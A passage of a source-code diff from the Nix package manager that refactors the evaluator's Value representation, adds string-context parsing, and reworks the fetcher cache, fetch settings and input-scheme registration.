public: case tLambda: case tPrimOp: case tPrimOpApp: return nFunction; case tExternal: return nExternal; case tFloat: return nFloat; - case tThunk: case tApp: case tBlackhole: return nThunk; + case tThunk: case tApp: return nThunk; } - abort(); + if (invalidIsThunk) + return nThunk; + else + unreachable(); } - /* After overwriting an app node, be sure to clear pointers in the - Value to ensure that the target isn't kept alive unnecessarily. */ - inline void clearValue() + inline void finishValue(InternalType newType, Payload newPayload) { - app.left = app.right = 0; + payload = newPayload; + internalType = newType; + } + + /** + * A value becomes valid when it is initialized. We don't use this + * in the evaluator; only in the bindings, where the slight extra + * cost is warranted because of inexperienced callers. + */ + inline bool isValid() const + { + return internalType != tUninitialized; + } + + inline void mkInt(NixInt::Inner n) + { + mkInt(NixInt{n}); } inline void mkInt(NixInt n) { - clearValue(); - internalType = tInt; - integer = n; + finishValue(tInt, { .integer = n }); } inline void mkBool(bool b) { - clearValue(); - internalType = tBool; - boolean = b; + finishValue(tBool, { .boolean = b }); } inline void mkString(const char * s, const char * * context = 0) { - internalType = tString; - string.s = s; - string.context = context; + finishValue(tString, { .string = { .c_str = s, .context = context } }); } void mkString(std::string_view s); - void mkString(std::string_view s, const PathSet & context); + void mkString(std::string_view s, const NixStringContext & context); - void mkStringMove(const char * s, const PathSet & context); + void mkStringMove(const char * s, const NixStringContext & context); - inline void mkPath(const char * s) + inline void mkString(const SymbolStr & s) { - clearValue(); - internalType = tPath; - path = s; + mkString(s.c_str()); } - void mkPath(std::string_view s); + void mkPath(const SourcePath & path); + void mkPath(std::string_view path); + + inline void mkPath(SourceAccessor * accessor, const char * path) + { + finishValue(tPath, { .path = { .accessor = accessor, .path = path } }); + } inline void mkNull() { - clearValue(); - internalType = tNull; + finishValue(tNull, {}); } inline void mkAttrs(Bindings * a) { - clearValue(); - internalType = tAttrs; - attrs = a; + finishValue(tAttrs, { .attrs = a }); } Value & mkAttrs(BindingsBuilder & bindings); - inline void mkList(size_t size) + void mkList(const ListBuilder & builder) { - clearValue(); - if (size == 1) - internalType = tList1; - else if (size == 2) - internalType = tList2; - else { - internalType = tListN; - bigList.size = size; - } + if (builder.size == 1) + finishValue(tList1, { .smallList = { builder.inlineElems[0] } }); + else if (builder.size == 2) + finishValue(tList2, { .smallList = { builder.inlineElems[0], builder.inlineElems[1] } }); + else + finishValue(tListN, { .bigList = { .size = builder.size, .elems = builder.elems } }); } inline void mkThunk(Env * e, Expr * ex) { - internalType = tThunk; - thunk.env = e; - thunk.expr = ex; + finishValue(tThunk, { .thunk = { .env = e, .expr = ex } }); } inline void mkApp(Value * l, Value * r) { - internalType = tApp; - app.left = l; - app.right = r; + finishValue(tApp, { .app = { .left = l, .right = r } }); } inline void mkLambda(Env * e, ExprLambda * f) { - internalType = tLambda; - lambda.env = e; - lambda.fun = f; + finishValue(tLambda, { .lambda = { .env = e, .fun = f } }); } - inline void mkBlackhole() - { - internalType = tBlackhole; - // Value will be overridden anyways - } - - inline void mkPrimOp(PrimOp * p) - { - clearValue(); - internalType = tPrimOp; - primOp = p; - } + inline void mkBlackhole(); + void mkPrimOp(PrimOp * p); inline void mkPrimOpApp(Value * l, Value * r) { - internalType = tPrimOpApp; - app.left = l; - app.right = r; + finishValue(tPrimOpApp, { .primOpApp = { .left = l, .right = r } }); } + /** + * For a `tPrimOpApp` value, get the original `PrimOp` value. + */ + const PrimOp * primOpAppPrimOp() const; + inline void mkExternal(ExternalValueBase * e) { - clearValue(); - internalType = tExternal; - external = e; + finishValue(tExternal, { .external = e }); } inline void mkFloat(NixFloat n) { - clearValue(); - internalType = tFloat; - fpoint = n; + finishValue(tFloat, { .fpoint = n }); } bool isList() const @@ -349,72 +410,108 @@ public: return internalType == tList1 || internalType == tList2 || internalType == tListN; } - Value * * listElems() + Value * const * listElems() { - return internalType == tList1 || internalType == tList2 ? smallList : bigList.elems; + return internalType == tList1 || internalType == tList2 ? payload.smallList : payload.bigList.elems; } - const Value * const * listElems() const + std::span listItems() const { - return internalType == tList1 || internalType == tList2 ? smallList : bigList.elems; + assert(isList()); + return std::span(listElems(), listSize()); + } + + Value * const * listElems() const + { + return internalType == tList1 || internalType == tList2 ? payload.smallList : payload.bigList.elems; } size_t listSize() const { - return internalType == tList1 ? 1 : internalType == tList2 ? 2 : bigList.size; + return internalType == tList1 ? 1 : internalType == tList2 ? 2 : payload.bigList.size; } PosIdx determinePos(const PosIdx pos) const; - /* Check whether forcing this value requires a trivial amount of - computation. In particular, function applications are - non-trivial. */ + /** + * Check whether forcing this value requires a trivial amount of + * computation. In particular, function applications are + * non-trivial. + */ bool isTrivial() const; - NixStringContext getContext(const Store &); - - auto listItems() + SourcePath path() const { - struct ListIterable - { - typedef Value * const * iterator; - iterator _begin, _end; - iterator begin() const { return _begin; } - iterator end() const { return _end; } - }; - assert(isList()); - auto begin = listElems(); - return ListIterable { begin, begin + listSize() }; + assert(internalType == tPath); + return SourcePath( + ref(payload.path.accessor->shared_from_this()), + CanonPath(CanonPath::unchecked_t(), payload.path.path)); } - auto listItems() const + std::string_view string_view() const { - struct ConstListIterable - { - typedef const Value * const * iterator; - iterator _begin, _end; - iterator begin() const { return _begin; } - iterator end() const { return _end; } - }; - assert(isList()); - auto begin = listElems(); - return ConstListIterable { begin, begin + listSize() }; + assert(internalType == tString); + return std::string_view(payload.string.c_str); } + + const char * c_str() const + { + assert(internalType == tString); + return payload.string.c_str; + } + + const char * * context() const + { + return payload.string.context; + } + + ExternalValueBase * external() const + { return payload.external; } + + const Bindings * attrs() const + { return payload.attrs; } + + const PrimOp * primOp() const + { return payload.primOp; } + + bool boolean() const + { return payload.boolean; } + + NixInt integer() const + { return payload.integer; } + + NixFloat fpoint() const + { return payload.fpoint; } }; +extern ExprBlackHole eBlackHole; + +bool Value::isBlackhole() const +{ + return internalType == tThunk && payload.thunk.expr == (Expr*) &eBlackHole; +} + +void Value::mkBlackhole() +{ + mkThunk(nullptr, (Expr *) &eBlackHole); +} + + #if HAVE_BOEHMGC typedef std::vector> ValueVector; -typedef std::map, traceable_allocator>> ValueMap; +typedef std::unordered_map, std::equal_to, traceable_allocator>> ValueMap; typedef std::map, traceable_allocator>> ValueVectorMap; #else typedef std::vector ValueVector; -typedef std::map ValueMap; +typedef std::unordered_map ValueMap; typedef std::map ValueVectorMap; #endif -/* A value allocated in traceable memory. */ +/** + * A value allocated in traceable memory. + */ typedef std::shared_ptr RootValue; RootValue allocRootValue(Value * v); diff --git a/src/libexpr/value/context.cc b/src/libexpr/value/context.cc new file mode 100644 index 000000000..6d9633268 --- /dev/null +++ b/src/libexpr/value/context.cc @@ -0,0 +1,108 @@ +#include "util.hh" +#include "value/context.hh" + +#include + +namespace nix { + +NixStringContextElem NixStringContextElem::parse( + std::string_view s0, + const ExperimentalFeatureSettings & xpSettings) +{ + std::string_view s = s0; + + std::function parseRest; + parseRest = [&]() -> SingleDerivedPath { + // Case on whether there is a '!' + size_t index = s.find("!"); + if (index == std::string_view::npos) { + return SingleDerivedPath::Opaque { + .path = StorePath { s }, + }; + } else { + std::string output { s.substr(0, index) }; + // Advance string to parse after the '!' + s = s.substr(index + 1); + auto drv = make_ref(parseRest()); + drvRequireExperiment(*drv, xpSettings); + return SingleDerivedPath::Built { + .drvPath = std::move(drv), + .output = std::move(output), + }; + } + }; + + if (s.size() == 0) { + throw BadNixStringContextElem(s0, + "String context element should never be an empty string"); + } + + switch (s.at(0)) { + case '!': { + // Advance string to parse after the '!' + s = s.substr(1); + + // Find *second* '!' + if (s.find("!") == std::string_view::npos) { + throw BadNixStringContextElem(s0, + "String content element beginning with '!' should have a second '!'"); + } + + return std::visit( + [&](auto x) -> NixStringContextElem { return std::move(x); }, + parseRest()); + } + case '=': { + return NixStringContextElem::DrvDeep { + .drvPath = StorePath { s.substr(1) }, + }; + } + default: { + // Ensure no '!' + if (s.find("!") != std::string_view::npos) { + throw BadNixStringContextElem(s0, + "String content element not beginning with '!' should not have a second '!'"); + } + return std::visit( + [&](auto x) -> NixStringContextElem { return std::move(x); }, + parseRest()); + } + } +} + +std::string NixStringContextElem::to_string() const +{ + std::string res; + + std::function toStringRest; + toStringRest = [&](auto & p) { + std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & o) { + res += o.path.to_string(); + }, + [&](const SingleDerivedPath::Built & o) { + res += o.output; + res += '!'; + toStringRest(*o.drvPath); + }, + }, p.raw()); + }; + + std::visit(overloaded { + [&](const NixStringContextElem::Built & b) { + res += '!'; + toStringRest(b); + }, + [&](const NixStringContextElem::Opaque & o) { + toStringRest(o); + }, + [&](const NixStringContextElem::DrvDeep & d) { + res += '='; + res += d.drvPath.to_string(); + }, + }, raw); + + return res; +} + +} diff --git a/src/libexpr/value/context.hh b/src/libexpr/value/context.hh new file mode 100644 index 000000000..7f23cd3a4 --- /dev/null +++ b/src/libexpr/value/context.hh @@ -0,0 +1,85 @@ +#pragma once +///@file + +#include "comparator.hh" +#include "derived-path.hh" +#include "variant-wrapper.hh" + +#include + +namespace nix { + +class BadNixStringContextElem : public Error +{ +public: + std::string_view raw; + + template + BadNixStringContextElem(std::string_view raw_, const Args & ... args) + : Error("") + { + raw = raw_; + auto hf = HintFmt(args...); + err.msg = HintFmt("Bad String Context element: %1%: %2%", Uncolored(hf.str()), raw); + } +}; + +struct NixStringContextElem { + /** + * Plain opaque path to some store object. + * + * Encoded as just the path: ‘’. + */ + using Opaque = SingleDerivedPath::Opaque; + + /** + * Path to a derivation and its entire build closure. + * + * The path doesn't just refer to derivation itself and its closure, but + * also all outputs of all derivations in that closure (including the + * root derivation). + * + * Encoded in the form ‘=’. + */ + struct DrvDeep { + StorePath drvPath; + + GENERATE_CMP(DrvDeep, me->drvPath); + }; + + /** + * Derivation output. + * + * Encoded in the form ‘!!’. + */ + using Built = SingleDerivedPath::Built; + + using Raw = std::variant< + Opaque, + DrvDeep, + Built + >; + + Raw raw; + + GENERATE_CMP(NixStringContextElem, me->raw); + + MAKE_WRAPPER_CONSTRUCTOR(NixStringContextElem); + + /** + * Decode a context string, one of: + * - ‘’ + * - ‘=’ + * - ‘!!’ + * + * @param xpSettings Stop-gap to avoid globals during unit tests. + */ + static NixStringContextElem parse( + std::string_view s, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + std::string to_string() const; +}; + +typedef std::set NixStringContext; + +} diff --git a/src/libfetchers/.version b/src/libfetchers/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libfetchers/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libfetchers/attrs.cc b/src/libfetchers/attrs.cc index a565d19d4..25d04cdc9 100644 --- a/src/libfetchers/attrs.cc +++ b/src/libfetchers/attrs.cc @@ -33,7 +33,7 @@ nlohmann::json attrsToJSON(const Attrs & attrs) json[attr.first] = *v; } else if (auto v = std::get_if>(&attr.second)) { json[attr.first] = v->t; - } else abort(); + } else unreachable(); } return json; } @@ -99,9 +99,14 @@ std::map attrsToQuery(const Attrs & attrs) query.insert_or_assign(attr.first, *v); } else if (auto v = std::get_if>(&attr.second)) { query.insert_or_assign(attr.first, v->t ? "1" : "0"); - } else abort(); + } else unreachable(); } return query; } +Hash getRevAttr(const Attrs & attrs, const std::string & name) +{ + return Hash::parseAny(getStrAttr(attrs, name), HashAlgorithm::SHA1); +} + } diff --git a/src/libfetchers/attrs.hh b/src/libfetchers/attrs.hh index e41037633..97a74bce0 100644 --- a/src/libfetchers/attrs.hh +++ b/src/libfetchers/attrs.hh @@ -1,6 +1,8 @@ #pragma once +///@file #include "types.hh" +#include "hash.hh" #include @@ -11,6 +13,12 @@ namespace nix::fetchers { typedef std::variant> Attr; + +/** + * An `Attrs` can be thought of a JSON object restricted or simplified + * to be "flat", not containing any subcontainers (arrays or objects) + * and also not containing any `null`s. + */ typedef std::map Attrs; Attrs jsonToAttrs(const nlohmann::json & json); @@ -31,4 +39,6 @@ bool getBoolAttr(const Attrs & attrs, const std::string & name); std::map attrsToQuery(const Attrs & attrs); +Hash getRevAttr(const Attrs & attrs, const std::string & name); + } diff --git a/src/libfetchers/build-utils-meson b/src/libfetchers/build-utils-meson new file mode 120000 index 000000000..5fff21bab --- /dev/null +++ b/src/libfetchers/build-utils-meson @@ -0,0 +1 @@ +../../build-utils-meson \ No newline at end of file diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc index 0c8ecac9d..7019b0325 100644 --- a/src/libfetchers/cache.cc +++ b/src/libfetchers/cache.cc @@ -1,4 +1,5 @@ #include "cache.hh" +#include "users.hh" #include "sqlite.hh" #include "sync.hh" #include "store-api.hh" @@ -10,21 +11,23 @@ namespace nix::fetchers { static const char * schema = R"sql( create table if not exists Cache ( - input text not null, - info text not null, - path text not null, - immutable integer not null, + domain text not null, + key text not null, + value text not null, timestamp integer not null, - primary key (input) + primary key (domain, key) ); )sql"; +// FIXME: we should periodically purge/nuke this cache to prevent it +// from growing too big. + struct CacheImpl : Cache { struct State { SQLite db; - SQLiteStmt add, lookup; + SQLiteStmt upsert, lookup; }; Sync _state; @@ -33,83 +36,130 @@ struct CacheImpl : Cache { auto state(_state.lock()); - auto dbPath = getCacheDir() + "/nix/fetcher-cache-v1.sqlite"; + auto dbPath = getCacheDir() + "/nix/fetcher-cache-v2.sqlite"; createDirs(dirOf(dbPath)); state->db = SQLite(dbPath); state->db.isCache(); state->db.exec(schema); - state->add.create(state->db, - "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, ?, ?)"); + state->upsert.create(state->db, + "insert or replace into Cache(domain, key, value, timestamp) values (?, ?, ?, ?)"); state->lookup.create(state->db, - "select info, path, immutable, timestamp from Cache where input = ?"); + "select value, timestamp from Cache where domain = ? and key = ?"); } - void add( - ref store, - const Attrs & inAttrs, - const Attrs & infoAttrs, - const StorePath & storePath, - bool locked) override + void upsert( + const Key & key, + const Attrs & value) override { - _state.lock()->add.use() - (attrsToJSON(inAttrs).dump()) - (attrsToJSON(infoAttrs).dump()) - (store->printStorePath(storePath)) - (locked) + _state.lock()->upsert.use() + (key.first) + (attrsToJSON(key.second).dump()) + (attrsToJSON(value).dump()) (time(0)).exec(); } - std::optional> lookup( - ref store, - const Attrs & inAttrs) override + std::optional lookup( + const Key & key) override { - if (auto res = lookupExpired(store, inAttrs)) { + if (auto res = lookupExpired(key)) + return std::move(res->value); + return {}; + } + + std::optional lookupWithTTL( + const Key & key) override + { + if (auto res = lookupExpired(key)) { if (!res->expired) - return std::make_pair(std::move(res->infoAttrs), std::move(res->storePath)); - debug("ignoring expired cache entry '%s'", - attrsToJSON(inAttrs).dump()); + return std::move(res->value); + debug("ignoring expired cache entry '%s:%s'", + key.first, attrsToJSON(key.second).dump()); } return {}; } std::optional lookupExpired( - ref store, - const Attrs & inAttrs) override + const Key & key) override { auto state(_state.lock()); - auto inAttrsJSON = attrsToJSON(inAttrs).dump(); + auto keyJSON = attrsToJSON(key.second).dump(); - auto stmt(state->lookup.use()(inAttrsJSON)); + auto stmt(state->lookup.use()(key.first)(keyJSON)); if (!stmt.next()) { - debug("did not find cache entry for '%s'", inAttrsJSON); + debug("did not find cache entry for '%s:%s'", key.first, keyJSON); return {}; } - auto infoJSON = stmt.getStr(0); - auto storePath = store->parseStorePath(stmt.getStr(1)); - auto locked = stmt.getInt(2) != 0; - auto timestamp = stmt.getInt(3); + auto valueJSON = stmt.getStr(0); + auto timestamp = stmt.getInt(1); - store->addTempRoot(storePath); - if (!store->isValidPath(storePath)) { - // FIXME: we could try to substitute 'storePath'. - debug("ignoring disappeared cache entry '%s'", inAttrsJSON); - return {}; - } - - debug("using cache entry '%s' -> '%s', '%s'", - inAttrsJSON, infoJSON, store->printStorePath(storePath)); + debug("using cache entry '%s:%s' -> '%s'", key.first, keyJSON, valueJSON); return Result { - .expired = !locked && (settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0)), - .infoAttrs = jsonToAttrs(nlohmann::json::parse(infoJSON)), - .storePath = std::move(storePath) + .expired = settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0), + .value = jsonToAttrs(nlohmann::json::parse(valueJSON)), }; } + + void upsert( + Key key, + Store & store, + Attrs value, + const StorePath & storePath) override + { + /* Add the store prefix to the cache key to handle multiple + store prefixes. */ + key.second.insert_or_assign("store", store.storeDir); + + value.insert_or_assign("storePath", (std::string) storePath.to_string()); + + upsert(key, value); + } + + std::optional lookupStorePath( + Key key, + Store & store) override + { + key.second.insert_or_assign("store", store.storeDir); + + auto res = lookupExpired(key); + if (!res) return std::nullopt; + + auto storePathS = getStrAttr(res->value, "storePath"); + res->value.erase("storePath"); + + ResultWithStorePath res2(*res, StorePath(storePathS)); + + store.addTempRoot(res2.storePath); + if (!store.isValidPath(res2.storePath)) { + // FIXME: we could try to substitute 'storePath'. + debug("ignoring disappeared cache entry '%s:%s' -> '%s'", + key.first, + attrsToJSON(key.second).dump(), + store.printStorePath(res2.storePath)); + return std::nullopt; + } + + debug("using cache entry '%s:%s' -> '%s', '%s'", + key.first, + attrsToJSON(key.second).dump(), + attrsToJSON(res2.value).dump(), + store.printStorePath(res2.storePath)); + + return res2; + } + + std::optional lookupStorePathWithTTL( + Key key, + Store & store) override + { + auto res = lookupStorePath(std::move(key), store); + return res && !res->expired ? res : std::nullopt; + } }; ref getCache() diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh index 3763ee2a6..4d834fe0c 100644 --- a/src/libfetchers/cache.hh +++ b/src/libfetchers/cache.hh @@ -1,34 +1,94 @@ #pragma once +///@file #include "fetchers.hh" +#include "path.hh" namespace nix::fetchers { +/** + * A cache for arbitrary `Attrs` -> `Attrs` mappings with a timestamp + * for expiration. + */ struct Cache { virtual ~Cache() { } - virtual void add( - ref store, - const Attrs & inAttrs, - const Attrs & infoAttrs, - const StorePath & storePath, - bool locked) = 0; + /** + * A domain is a partition of the key/value cache for a particular + * purpose, e.g. git revision to revcount. + */ + using Domain = std::string_view; - virtual std::optional> lookup( - ref store, - const Attrs & inAttrs) = 0; + /** + * A cache key is a domain and an arbitrary set of attributes. + */ + using Key = std::pair; + + /** + * Add a key/value pair to the cache. + */ + virtual void upsert( + const Key & key, + const Attrs & value) = 0; + + /** + * Look up a key with infinite TTL. + */ + virtual std::optional lookup( + const Key & key) = 0; + + /** + * Look up a key. Return nothing if its TTL has exceeded + * `settings.tarballTTL`. + */ + virtual std::optional lookupWithTTL( + const Key & key) = 0; struct Result { bool expired = false; - Attrs infoAttrs; + Attrs value; + }; + + /** + * Look up a key. Return a bool denoting whether its TTL has + * exceeded `settings.tarballTTL`. + */ + virtual std::optional lookupExpired( + const Key & key) = 0; + + /** + * Insert a cache entry that has a store path associated with + * it. Such cache entries are always considered stale if the + * associated store path is invalid. + */ + virtual void upsert( + Key key, + Store & store, + Attrs value, + const StorePath & storePath) = 0; + + struct ResultWithStorePath : Result + { StorePath storePath; }; - virtual std::optional lookupExpired( - ref store, - const Attrs & inAttrs) = 0; + /** + * Look up a store path in the cache. The returned store path will + * be valid, but it may be expired. + */ + virtual std::optional lookupStorePath( + Key key, + Store & store) = 0; + + /** + * Look up a store path in the cache. Return nothing if its TTL + * has exceeded `settings.tarballTTL`. + */ + virtual std::optional lookupStorePathWithTTL( + Key key, + Store & store) = 0; }; ref getCache(); diff --git a/src/libfetchers/fetch-settings.cc b/src/libfetchers/fetch-settings.cc index e7d5244dc..c7ed4c7af 100644 --- a/src/libfetchers/fetch-settings.cc +++ b/src/libfetchers/fetch-settings.cc @@ -1,13 +1,9 @@ #include "fetch-settings.hh" -namespace nix { +namespace nix::fetchers { -FetchSettings::FetchSettings() +Settings::Settings() { } -FetchSettings fetchSettings; - -static GlobalConfig::Register rFetchSettings(&fetchSettings); - } diff --git a/src/libfetchers/fetch-settings.hh b/src/libfetchers/fetch-settings.hh index f33cbdcfc..f7cb34a02 100644 --- a/src/libfetchers/fetch-settings.hh +++ b/src/libfetchers/fetch-settings.hh @@ -1,19 +1,19 @@ #pragma once +///@file #include "types.hh" #include "config.hh" -#include "util.hh" #include #include #include -namespace nix { +namespace nix::fetchers { -struct FetchSettings : public Config +struct Settings : public Config { - FetchSettings(); + Settings(); Setting accessTokens{this, {}, "access-tokens", R"( @@ -57,7 +57,7 @@ struct FetchSettings : public Config ``` This example specifies three tokens, one each for accessing - github.com, gitlab.mycompany.com, and sourceforge.net. + github.com, gitlab.mycompany.com, and gitlab.com. The `input.foo` uses the "gitlab" fetcher, which might requires specifying the token type along with the token @@ -70,29 +70,28 @@ struct FetchSettings : public Config Setting warnDirty{this, true, "warn-dirty", "Whether to warn about dirty Git/Mercurial trees."}; + Setting trustTarballsFromGitForges{ + this, true, "trust-tarballs-from-git-forges", + R"( + If enabled (the default), Nix will consider tarballs from + GitHub and similar Git forges to be locked if a Git revision + is specified, + e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f`. + This requires Nix to trust that the provider will return the + correct contents for the specified Git revision. + + If disabled, such tarballs are only considered locked if a + `narHash` attribute is specified, + e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`. + )"}; + Setting flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry", R"( Path or URI of the global flake registry. When empty, disables the global flake registry. - )"}; - - - Setting useRegistries{this, true, "use-registries", - "Whether to use flake registries to resolve flake references."}; - - Setting acceptFlakeConfig{this, false, "accept-flake-config", - "Whether to accept nix configuration from a flake without prompting."}; - - Setting commitLockFileSummary{ - this, "", "commit-lockfile-summary", - R"( - The commit summary to use when committing changed flake lock files. If - empty, the summary is generated based on the action performed. - )"}; + )", + {}, true, Xp::Flakes}; }; -// FIXME: don't use a global variable. -extern FetchSettings fetchSettings; - } diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc new file mode 100644 index 000000000..65aa72a6c --- /dev/null +++ b/src/libfetchers/fetch-to-store.cc @@ -0,0 +1,53 @@ +#include "fetch-to-store.hh" +#include "fetchers.hh" +#include "cache.hh" + +namespace nix { + +StorePath fetchToStore( + Store & store, + const SourcePath & path, + FetchMode mode, + std::string_view name, + ContentAddressMethod method, + PathFilter * filter, + RepairFlag repair) +{ + // FIXME: add an optimisation for the case where the accessor is + // a `PosixSourceAccessor` pointing to a store path. + + std::optional cacheKey; + + if (!filter && path.accessor->fingerprint) { + cacheKey = fetchers::Cache::Key{"fetchToStore", { + {"name", std::string{name}}, + {"fingerprint", *path.accessor->fingerprint}, + {"method", std::string{method.render()}}, + {"path", path.path.abs()} + }}; + if (auto res = fetchers::getCache()->lookupStorePath(*cacheKey, store)) { + debug("store path cache hit for '%s'", path); + return res->storePath; + } + } else + debug("source path '%s' is uncacheable", path); + + Activity act(*logger, lvlChatty, actUnknown, + fmt(mode == FetchMode::DryRun ? "hashing '%s'" : "copying '%s' to the store", path)); + + auto filter2 = filter ? *filter : defaultPathFilter; + + auto storePath = + mode == FetchMode::DryRun + ? store.computeStorePath( + name, path, method, HashAlgorithm::SHA256, {}, filter2).first + : store.addToStore( + name, path, method, HashAlgorithm::SHA256, {}, filter2, repair); + + if (cacheKey && mode == FetchMode::Copy) + fetchers::getCache()->upsert(*cacheKey, store, {}, storePath); + + return storePath; +} + +} diff --git a/src/libfetchers/fetch-to-store.hh b/src/libfetchers/fetch-to-store.hh new file mode 100644 index 000000000..c762629f3 --- /dev/null +++ b/src/libfetchers/fetch-to-store.hh @@ -0,0 +1,25 @@ +#pragma once + +#include "source-path.hh" +#include "store-api.hh" +#include "file-system.hh" +#include "repair-flag.hh" +#include "file-content-address.hh" + +namespace nix { + +enum struct FetchMode { DryRun, Copy }; + +/** + * Copy the `path` to the Nix store. + */ +StorePath fetchToStore( + Store & store, + const SourcePath & path, + FetchMode mode, + std::string_view name = "source", + ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive, + PathFilter * filter = nullptr, + RepairFlag repair = NoRepair); + +} diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index c767e72e5..dee1f687b 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -1,21 +1,45 @@ #include "fetchers.hh" #include "store-api.hh" +#include "source-path.hh" +#include "fetch-to-store.hh" +#include "json-utils.hh" #include namespace nix::fetchers { -std::unique_ptr>> inputSchemes = nullptr; +using InputSchemeMap = std::map>; + +std::unique_ptr inputSchemes = nullptr; void registerInputScheme(std::shared_ptr && inputScheme) { - if (!inputSchemes) inputSchemes = std::make_unique>>(); - inputSchemes->push_back(std::move(inputScheme)); + if (!inputSchemes) + inputSchemes = std::make_unique(); + auto schemeName = inputScheme->schemeName(); + if (inputSchemes->count(schemeName) > 0) + throw Error("Input scheme with name %s already registered", schemeName); + inputSchemes->insert_or_assign(schemeName, std::move(inputScheme)); } -Input Input::fromURL(const std::string & url) +nlohmann::json dumpRegisterInputSchemeInfo() { + using nlohmann::json; + + auto res = json::object(); + + for (auto & [name, scheme] : *inputSchemes) { + auto & r = res[name] = json::object(); + r["allowedAttrs"] = scheme->allowedAttrs(); + } + + return res; +} + +Input Input::fromURL( + const Settings & settings, + const std::string & url, bool requireTree) { - return fromURL(parseURL(url)); + return fromURL(settings, parseURL(url), requireTree); } static void fixupInput(Input & input) @@ -23,19 +47,18 @@ static void fixupInput(Input & input) // Check common attributes. input.getType(); input.getRef(); - if (input.getRev()) - input.locked = true; input.getRevCount(); input.getLastModified(); - if (input.getNarHash()) - input.locked = true; } -Input Input::fromURL(const ParsedURL & url) +Input Input::fromURL( + const Settings & settings, + const ParsedURL & url, bool requireTree) { - for (auto & inputScheme : *inputSchemes) { - auto res = inputScheme->inputFromURL(url); + for (auto & [_, inputScheme] : *inputSchemes) { + auto res = inputScheme->inputFromURL(settings, url, requireTree); if (res) { + experimentalFeatureSettings.require(inputScheme->experimentalFeature()); res->scheme = inputScheme; fixupInput(*res); return std::move(*res); @@ -45,21 +68,51 @@ Input Input::fromURL(const ParsedURL & url) throw Error("input '%s' is unsupported", url.url); } -Input Input::fromAttrs(Attrs && attrs) +Input Input::fromAttrs(const Settings & settings, Attrs && attrs) { - for (auto & inputScheme : *inputSchemes) { - auto res = inputScheme->inputFromAttrs(attrs); - if (res) { - res->scheme = inputScheme; - fixupInput(*res); - return std::move(*res); - } - } + auto schemeName = ({ + auto schemeNameOpt = maybeGetStrAttr(attrs, "type"); + if (!schemeNameOpt) + throw Error("'type' attribute to specify input scheme is required but not provided"); + *std::move(schemeNameOpt); + }); - Input input; - input.attrs = attrs; - fixupInput(input); - return input; + auto raw = [&]() { + // Return an input without a scheme; most operations will fail, + // but not all of them. Doing this is to support those other + // operations which are supposed to be robust on + // unknown/uninterpretable inputs. + Input input { settings }; + input.attrs = attrs; + fixupInput(input); + return input; + }; + + std::shared_ptr inputScheme = ({ + auto i = inputSchemes->find(schemeName); + i == inputSchemes->end() ? nullptr : i->second; + }); + + if (!inputScheme) return raw(); + + experimentalFeatureSettings.require(inputScheme->experimentalFeature()); + + auto allowedAttrs = inputScheme->allowedAttrs(); + + for (auto & [name, _] : attrs) + if (name != "type" && allowedAttrs.count(name) == 0) + throw Error("input attribute '%s' not supported by scheme '%s'", name, schemeName); + + auto res = inputScheme->inputFromAttrs(settings, attrs); + if (!res) return raw(); + res->scheme = inputScheme; + fixupInput(*res); + return std::move(*res); +} + +std::optional Input::getFingerprint(ref store) const +{ + return scheme ? scheme->getFingerprint(store, *this) : std::nullopt; } ParsedURL Input::toURL() const @@ -82,17 +135,22 @@ std::string Input::to_string() const return toURL().to_string(); } +bool Input::isDirect() const +{ + return !scheme || scheme->isDirect(*this); +} + +bool Input::isLocked() const +{ + return scheme && scheme->isLocked(*this); +} + Attrs Input::toAttrs() const { return attrs; } -bool Input::hasAllInfo() const -{ - return getNarHash() && scheme && scheme->hasAllInfo(*this); -} - -bool Input::operator ==(const Input & other) const +bool Input::operator ==(const Input & other) const noexcept { return attrs == other.attrs; } @@ -107,7 +165,7 @@ bool Input::contains(const Input & other) const return false; } -std::pair Input::fetch(ref store) const +std::pair Input::fetchToStore(ref store) const { if (!scheme) throw Error("cannot fetch unsupported input '%s'", attrsToJSON(toAttrs())); @@ -115,7 +173,7 @@ std::pair Input::fetch(ref store) const /* The tree may already be in the Nix store, or it could be substituted (which is often faster than fetching from the original source). So check that. */ - if (hasAllInfo()) { + if (getNarHash()) { try { auto storePath = computeStorePath(*store); @@ -124,7 +182,7 @@ std::pair Input::fetch(ref store) const debug("using substituted/cached input '%s' in '%s'", to_string(), store->printStorePath(storePath)); - return {Tree { .actualPath = store->toRealPath(storePath), .storePath = std::move(storePath) }, *this}; + return {std::move(storePath), *this}; } catch (Error & e) { debug("substitution of input '%s' failed: %s", to_string(), e.what()); } @@ -132,44 +190,84 @@ std::pair Input::fetch(ref store) const auto [storePath, input] = [&]() -> std::pair { try { - return scheme->fetch(store, *this); + auto [accessor, final] = getAccessorUnchecked(store); + + auto storePath = nix::fetchToStore(*store, SourcePath(accessor), FetchMode::Copy, final.getName()); + + auto narHash = store->queryPathInfo(storePath)->narHash; + final.attrs.insert_or_assign("narHash", narHash.to_string(HashFormat::SRI, true)); + + scheme->checkLocks(*this, final); + + return {storePath, final}; } catch (Error & e) { e.addTrace({}, "while fetching the input '%s'", to_string()); throw; } }(); - Tree tree { - .actualPath = store->toRealPath(storePath), - .storePath = storePath, - }; + return {std::move(storePath), input}; +} - auto narHash = store->queryPathInfo(tree.storePath)->narHash; - input.attrs.insert_or_assign("narHash", narHash.to_string(SRI, true)); - - if (auto prevNarHash = getNarHash()) { - if (narHash != *prevNarHash) - throw Error((unsigned int) 102, "NAR hash mismatch in input '%s' (%s), expected 